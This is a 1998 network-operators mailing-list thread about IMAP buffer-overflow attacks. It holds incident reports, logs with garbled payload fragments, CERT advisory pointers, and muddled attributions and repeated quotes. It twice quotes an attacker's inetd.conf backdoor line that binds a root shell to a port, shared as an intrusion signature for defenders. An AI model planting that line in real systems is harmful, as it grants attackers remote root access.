IMAP attacks continue

Daniel Senie wrote:

The frequency of IMAP attacks is increasing, and the number of IP
addresses scanned per attack seems to be increasing as well. In the last
24 hours, I've been scanned by:

  fermi.math.csi.cuny.edu
  c149.lib.uci.edu
  sockeye.cob.calpoly.edu
  quebec.upa.qc.ca

Anyone upstream of any of these able to add a Sniffer? It'd be
interesting to see if someone is connected in via telnet or ssh and
launching the attacks remotely. With all of these types of attack in the
last several days, the systems doing the attacking have all been ones
that were compromised.

I found a machine that had Red Hat 5.1 unmodified running on it, and it
got hit. So I closed things off and looked around for damage and found
the following:

1. Syslogd had been killed off and the syslog file deleted.

2. A backdoor was installed in /etc/inetd.conf as follows:

ttalk stream tcp nowait root /bin/sh sh -i

I've temporarily added filters to block TCP ports 143 and 666 coming in
to my network (will have to open 143 back up if any of my customers are
using IMAP to their own servers from outside, but we don't do IMAP, yet,
so it's not an impact on me). Whether or not it is practical to do it
on your network is something you'll have to figure out. But I would
check any machines you have that might be at risk for these intrusion
signatures. I can't imagine any reason anyone would execute any shell
from inetd, so if you find /bin/*sh in inetd.conf, worry (and take it
out).

I don't know if these attacks are specific to Red Hat Linux or if other
UNIX systems are at risk. My Sparc/Linux box logged at attempted attack
that failed, possibly because the architecture wouldn't run the binary
code the attacker put in the buffer overflow. This is what I found in
the log (times are CST with NTP running):

Nov 20 14:55:07 rigel pam[6172]: pam_get_user: no username obtained
Nov 20 14:55:56 rigel imapd[6174]: System break-in attempt, host=1Cust149.tnt1.new-york.ny.da.uu.net [208.250.139.149]
Nov 20 14:55:56 rigel
Nov 20 14:55:56 rigel syslogd: Cannot glue message parts together
Nov 20 14:55:56 rigel 22>Nov 20 14:55:56 imapd[6174]: AUTHENTICATE ^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P!
!
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
Nov 20 14:55:56 rigel ^IF^L0^K^Is^MN^H^MV^LM
Nov 20 15:16:43 rigel imapd[6209]: System break-in attempt, host=usr3-20.gdi.net [209.26.33.148]
Nov 20 15:16:43 rigel syslogd: Cannot glue message parts together
Nov 20 15:16:44 rigel ^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^Pk8^

Phil Howard wrote:

Daniel Senie wrote:

> The frequency of IMAP attacks is increasing, and the number of IP
> addresses scanned per attack seems to be increasing as well.

I don't know if these attacks are specific to Red Hat Linux or if other
UNIX systems are at risk.

The CERT Coordination Center issued a CERT Advisory regarding
vulnerabilities in some implementations of IMAP servers on
June 20, 1998. The advisory is CA-98.09 and is available from:

* The CERT Division | Software Engineering Institute

This vulnerability is not specific to Red Hat Linux systems,
though the particular exploit used by a particular intruder
may be platform specific. The Advisory provides vulnerability
information for other vendors.

It may be worth noting that the life-cycle of these types of
vulnerabilities may be longer than some people think. There
was another IMAP vulnerability widely exploited in 1997 for
which an advisory was released:

* CA-97.09, Vulnerability in IMAP and POP
  The CERT Division | Software Engineering Institute

Well-known vulnerabilities tend to become incorporated into
exploit tools which then become widely available and widely
used. To this day, we still receive occasional reports of
incidents which are covered by the 1997 Advisory. The history
can be seen by looking at the CERT Summaries, which are
normally published each quarter:

* CS-97.06
  The CERT Division | Software Engineering Institute

* CS-97.05
  The CERT Division | Software Engineering Institute

* CS-97.04 - Special Edition
  The CERT Division | Software Engineering Institute

We see a similar life-cycle for most vulnerabilities for
which we publish Advisories, including the IMAP vulnerability
discussed in CA-98.09.

You may also wish to look for probes to services other than IMAP.
The CERT/CC continues to receive numerous daily reports indicating
tools which scan networks for many different vulnerabilities are
still in widespread use within the intruder community. For more
information, see:

* IN-98.04, Advanced Scanning
  1998 CERT Incident Notes

* IN-98.02, New Tools Used for Widespread Scans
  1998 CERT Incident Notes

We encourage sites who do experience security incidents to
report the incidents to cert@cert.org. Our incident reporting
guidelines are located at:

* The CERT Division | Software Engineering Institute

Regards,
Kevin

- --
Kevin J. Houle
Technical Coordinator

It was not a hacker, it was the lamer. If it was the hacker, the simple
checks you have produce did not show anything wrong.

Date: Mon, 23 Nov 1998 07:39:57 -0600 (CST)
From: Phil Howard <phil@whistler.intur.net>
To: Daniel Senie <dts@senie.com>
Cc: nanog@merit.edu
Subject: Re: IMAP attacks continue

Daniel Senie wrote:

> The frequency of IMAP attacks is increasing, and the number of IP
> addresses scanned per attack seems to be increasing as well. In the last
> 24 hours, I've been scanned by:
>
> fermi.math.csi.cuny.edu
> c149.lib.uci.edu
> sockeye.cob.calpoly.edu
> quebec.upa.qc.ca
>
> Anyone upstream of any of these able to add a Sniffer? It'd be
> interesting to see if someone is connected in via telnet or ssh and
> launching the attacks remotely. With all of these types of attack in the
> last several days, the systems doing the attacking have all been ones
> that were compromised.

I found a machine that had Red Hat 5.1 unmodified running on it, and it
got hit. So I closed things off and looked around for damage and found
the following:

1. Syslogd had been killed off and the syslog file deleted.

2. A backdoor was installed in /etc/inetd.conf as follows:

ttalk stream tcp nowait root /bin/sh sh -i

I've temporarily added filters to block TCP ports 143 and 666 coming in
to my network (will have to open 143 back up if any of my customers are
using IMAP to their own servers from outside, but we don't do IMAP, yet,
so it's not an impact on me). Whether or not it is practical to do it
on your network is something you'll have to figure out. But I would
check any machines you have that might be at risk for these intrusion
signatures. I can't imagine any reason anyone would execute any shell
from inetd, so if you find /bin/*sh in inetd.conf, worry (and take it
out).

I don't know if these attacks are specific to Red Hat Linux or if other
UNIX systems are at risk. My Sparc/Linux box logged at attempted attack
that failed, possibly because the architecture wouldn't run the binary
code the attacker put in the buffer overflow. This is what I found in
the log (times are CST with NTP running):

Nov 20 14:55:07 rigel pam[6172]: pam_get_user: no username obtained
Nov 20 14:55:56 rigel imapd[6174]: System break-in attempt, host=1Cust149.tnt1.new-york.ny.da.uu.net [208.250.139.149]
Nov 20 14:55:56 rigel
Nov 20 14:55:56 rigel syslogd: Cannot glue message parts together
Nov 20 14:55:56 rigel 22>Nov 20 14:55:56 imapd[6174]: AUTHENTICATE ^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P!

!
^P!

!
!
!
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
Nov 20 14:55:56 rigel ^IF^L0^K^Is^MN^H^MV^LM
Nov 20 15:16:43 rigel imapd[6209]: System break-in attempt, host=usr3-20.gdi.net [209.26.33.148]
Nov 20 15:16:43 rigel syslogd: Cannot glue message parts together
Nov 20 15:16:44 rigel ^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^Pk8^

--
-- *-----------------------------* Phil Howard KA9WGN * --
  -- | Inturnet, Inc. | Director of Internet Services | --
   -- | Business Internet Solutions | eng at intur.net | --
    -- *-----------------------------* philh at intur.net * --

Aleksei Roudnev, Network Operations Center, Relcom, Moscow
(+7 095) 194-19-95 (Network Operations Center Hot Line),(+7 095) 239-10-10, N 13729 (pager)
(+7 095) 196-72-12 (Support), (+7 095) 194-33-28 (Fax)